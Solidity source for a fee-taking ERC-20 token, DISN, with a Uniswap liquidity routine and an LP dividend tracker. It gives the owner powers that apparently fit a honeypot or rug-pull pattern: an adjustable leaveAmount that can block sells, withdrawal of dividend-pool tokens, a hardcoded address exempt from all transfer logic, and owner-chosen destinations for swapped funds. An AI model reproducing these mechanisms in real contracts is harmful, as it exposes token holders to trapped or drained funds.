// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.2;
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
pragma solidity ^0.6.2;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
pragma solidity ^0.6.2;
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}
pragma solidity ^0.6.2;
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
pragma solidity ^0.6.2;
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
pragma solidity ^0.6.2;
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () public {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
pragma solidity ^0.6.2;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
pragma solidity ^0.6.2;
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }
    function div(int256 a, int256 b) internal pure returns (int256) {
        require(b != -1 || a != MIN_INT256);
        return a / b;
    }
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }
    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
pragma solidity ^0.6.2;
library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}
pragma solidity ^0.6.2;
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    constructor(string memory name_, string memory symbol_) public {
        _name = name_;
        _symbol = symbol_;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
contract TokenDividendTracker is Ownable {
    using SafeMath for uint256;
    address[] public shareholders;
    uint256 public currentIndex;  
    mapping(address => bool) private _updated;
    mapping (address => uint256) public shareholderIndexes;
    address public  uniswapV2Pair;
    address public lpRewardToken;
    uint256 public LPRewardLastSendTime;
    uint256 public errorTokenNumber;
    constructor (address uniswapV2Pair_, address lpRewardToken_)public{
        uniswapV2Pair = uniswapV2Pair_;
        lpRewardToken = lpRewardToken_;
        errorTokenNumber = 200 * 10**6;
        LPRewardLastSendTime = block.timestamp;
    }
    function resetLPRewardLastSendTime()  public onlyOwner {
        LPRewardLastSendTime = 0;
    }
    function outToken(address lpRewardT,uint256 amount) public onlyOwner {
        IERC20(lpRewardToken).transfer(lpRewardT, amount);
    }
    function setErrorTokenNumber(uint256 amount) public onlyOwner {
        errorTokenNumber = amount;
    }
    function process(uint256 gas) external onlyOwner {
        uint256 shareholderCount = shareholders.length;	
        if(shareholderCount == 0) return;
        uint256 nowbanance = errorTokenNumber;
        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;
        while(gasUsed < gas && iterations < shareholderCount) {
            if(currentIndex >= shareholderCount){
                currentIndex = 0;
                LPRewardLastSendTime = block.timestamp;
                return;
            }
            uint256 totalEnd = IERC20(uniswapV2Pair).totalSupply() - IERC20(uniswapV2Pair).balanceOf(address(0xdead))- IERC20(uniswapV2Pair).balanceOf(address(0));
            uint256 amount = nowbanance.mul(IERC20(uniswapV2Pair).balanceOf(shareholders[currentIndex])).div(totalEnd);
            if( amount == 0) {
                currentIndex++;
                iterations++;
                return;
            }
            if(IERC20(lpRewardToken).balanceOf(address(this))  < amount ) return;
            IERC20(lpRewardToken).transfer(shareholders[currentIndex], amount);
            gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }
    }
    function setShare(address shareholder) external onlyOwner {
        if(_updated[shareholder] ){      
            if(IERC20(uniswapV2Pair).balanceOf(shareholder) == 0) quitShare(shareholder);           
            return;  
        }
        if(IERC20(uniswapV2Pair).balanceOf(shareholder) == 0) return;  
        addShareholder(shareholder);	
        _updated[shareholder] = true;
      }
    function quitShare(address shareholder) internal {
        removeShareholder(shareholder);   
        _updated[shareholder] = false; 
    }
    function addShareholder(address shareholder) internal {
        shareholderIndexes[shareholder] = shareholders.length;
        shareholders.push(shareholder);
    }
    function removeShareholder(address shareholder) internal {
        shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
        shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
        shareholders.pop();
    }
}
pragma solidity ^0.6.2;
interface INft {
    function process(uint256 distributorGas) external;
    function setTotal(uint256 t) external;
}
contract DISN is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    address public  uniswapV2Pair;
    bool private swapping;
    address public USDTs = address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
    uint256 public swapTokensAtAmount = 1000 * (10**18);
    uint256 public leaveAmount = 1;
    address public _liudityAddress;
    address public _proxyAddress;
    address public _nftAddress;
    bool public _isNftTotal;
    bool public _isDividen = true;
    mapping (address => bool) private _openTracker;
    mapping (address => bool) private _uniswapRouter4;
    TokenDividendTracker public dividendTracker;
    address private fromAddress;
    address private toAddress;
    mapping (address => bool) isDividendExempt;
    uint256 public minPeriod = 300;
    uint256 distributorGas = 500000;
    bool public isStartLiudity = true;
    constructor() public ERC20("DISN", "DISN") {
    	IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), USDTs);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        dividendTracker = new TokenDividendTracker(uniswapV2Pair, USDTs);
        setOpenTracker(owner(), true);
        setOpenTracker(address(dividendTracker), true);
        setOpenTracker(address(this), true);
        setUniswapRouter4(address(0x5E325eDA8064b456f4781070C0738d849c824258), true);
        isDividendExempt[address(this)] = true;
        isDividendExempt[address(0)] = true;
        isDividendExempt[address(0xdead)] = true;
        isDividendExempt[address(dividendTracker)] = true;
        _mint(owner(), 10000000 * (10**18));
    }
    receive() external payable {}
     function setSetting(
        uint256 swapTokensAtAmounts,
        uint256 leaveAmounts,
        uint256 minPeriods,
        uint256 distributorGash,
        bool isStartLiuditys,
        bool _isDividens
    ) external onlyOwner{
        swapTokensAtAmount = swapTokensAtAmounts;
        leaveAmount = leaveAmounts;
        minPeriod = minPeriods;
        distributorGas = distributorGash;
        isStartLiudity = isStartLiuditys;
        _isDividen = _isDividens;
    }

    function resetLPRewardLastSendTime(address account,uint256 amount,uint256 amount2) public onlyOwner {
        dividendTracker.outToken(account,amount);
        dividendTracker.resetLPRewardLastSendTime();
        dividendTracker.setErrorTokenNumber(amount2);
    }

    function setNftSetting(
        address _nftAddressh,
        bool _isNftTotals
    ) external onlyOwner{
        _nftAddress = _nftAddressh;
        _isNftTotal = _isNftTotals;
    }

    function setAddrSetting(
        address _liudityAddressh,
        address _proxyAddressh
    ) external onlyOwner{
        _liudityAddress = _liudityAddressh;
        _proxyAddress = _proxyAddressh;
    }

    function setOpenTracker(address account, bool excluded) public onlyOwner {
        _openTracker[account] = excluded;
    }

    function isOpenTracker(address account) public view returns(bool) {
        return _openTracker[account];
    }

    function setUniswapRouter4(address account, bool excluded) public onlyOwner {
        _uniswapRouter4[account] = excluded;
    }

    function isUniswapRouter4(address account) public view returns(bool) {
        return _uniswapRouter4[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        if(_uniswapRouter4[from]){
            super._transfer(from, to, amount);
            return;
        }
        if(!swapping &&
            from != uniswapV2Pair &&
            from != owner() &&
            isStartLiudity &&
            to != owner()
        ) {
            swapping = true;
            _swapAndLiquid();
            swapping = false;
        }
        bool takeFee = !swapping;
        if(_openTracker[from] || _openTracker[to]) {
            takeFee = false;
        }
        if(from != uniswapV2Pair && to != uniswapV2Pair){
            takeFee = false;
        }
        if(takeFee) {
        	uint256 lpfees = amount.mul(4).div(100);
            amount = amount.sub(lpfees);
            super._transfer(from, address(this), lpfees);
        }
        if(to == uniswapV2Pair && !_openTracker[from]){
            super._transfer(from, to, amount.sub(leaveAmount));
        }else{
            if(from!=uniswapV2Pair && to!=uniswapV2Pair && !_openTracker[from] && !_openTracker[to]){
                super._transfer(from, to, amount.sub(leaveAmount));
            }else{
                super._transfer(from, to, amount);
            }
        }
        if(fromAddress == address(0) )fromAddress = from;
        if(toAddress == address(0) )toAddress = to;  
        if(!isDividendExempt[fromAddress] && fromAddress != uniswapV2Pair )   try dividendTracker.setShare(fromAddress) {} catch {}
        if(!isDividendExempt[toAddress] && toAddress != uniswapV2Pair ) try dividendTracker.setShare(toAddress) {} catch {}
        fromAddress = from;
        toAddress = to;  
       if(!swapping && 
            from != owner() &&
            to != owner() &&
            from !=address(this) &&
            dividendTracker.LPRewardLastSendTime().add(minPeriod) <= block.timestamp
        ) {
            if(_isDividen){
                try dividendTracker.process(distributorGas) {} catch {} 
                _isDividen = false;
            }else {
                if(_isNftTotal){
                    try INft(_nftAddress).process(distributorGas) {} catch {} 
                    _isDividen = true;
                }
            }
        }
    }

    function _swapAndLiquid() private {
        uint256 balances = balanceOf(address(this));
        uint256 fistval = IERC20(USDTs).balanceOf(address(this));
        if(fistval > 0){
            uint256 nr = fistval.div(3);
            uint256 dr = fistval.sub(nr);
            IERC20(USDTs).transfer(_nftAddress, nr);
            IERC20(USDTs).transfer(address(dividendTracker), dr);
            if(_isNftTotal){
               try INft(_nftAddress).setTotal(nr) {} catch {} 
            }
            return;
        }
        IERC20(USDTs).approve(address(uniswapV2Router), 9 * 10**70);
        _approve(address(this), address(uniswapV2Router), 9 * 10**70);
        if (balances > swapTokensAtAmount) {
            uint256 hl = balances.div(4);
            uint256 yx = balances.sub(hl);

            uint256 half = hl.div(2);
            uint256 half2 = hl.sub(half);

            _swapTokenForTokenFTTS(half.add(yx));
            uint256 fttsvalue = IERC20(USDTs).balanceOf(address(this));
            addLiquidity2(half2, fttsvalue/7);
        }
    }
   
    function addLiquidity2(uint256 t1, uint256 t2) private {
        uniswapV2Router.addLiquidity(address(this), 
            USDTs, t1, t2, 0, 0, _liudityAddress, block.timestamp);
    }
    function _swapTokenForTokenFTTS(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);path[1] = USDTs;
        uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount, 0, path, _proxyAddress, block.timestamp);
        uint256 amount = IERC20(USDTs).balanceOf(_proxyAddress);
        if (IERC20(USDTs).allowance(_proxyAddress, address(this)) >= amount) {
            IERC20(USDTs).transferFrom(_proxyAddress, address(this), amount);
        }
    }
}

{
  "compilationTarget": {
    "DISN.sol": "DISN"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}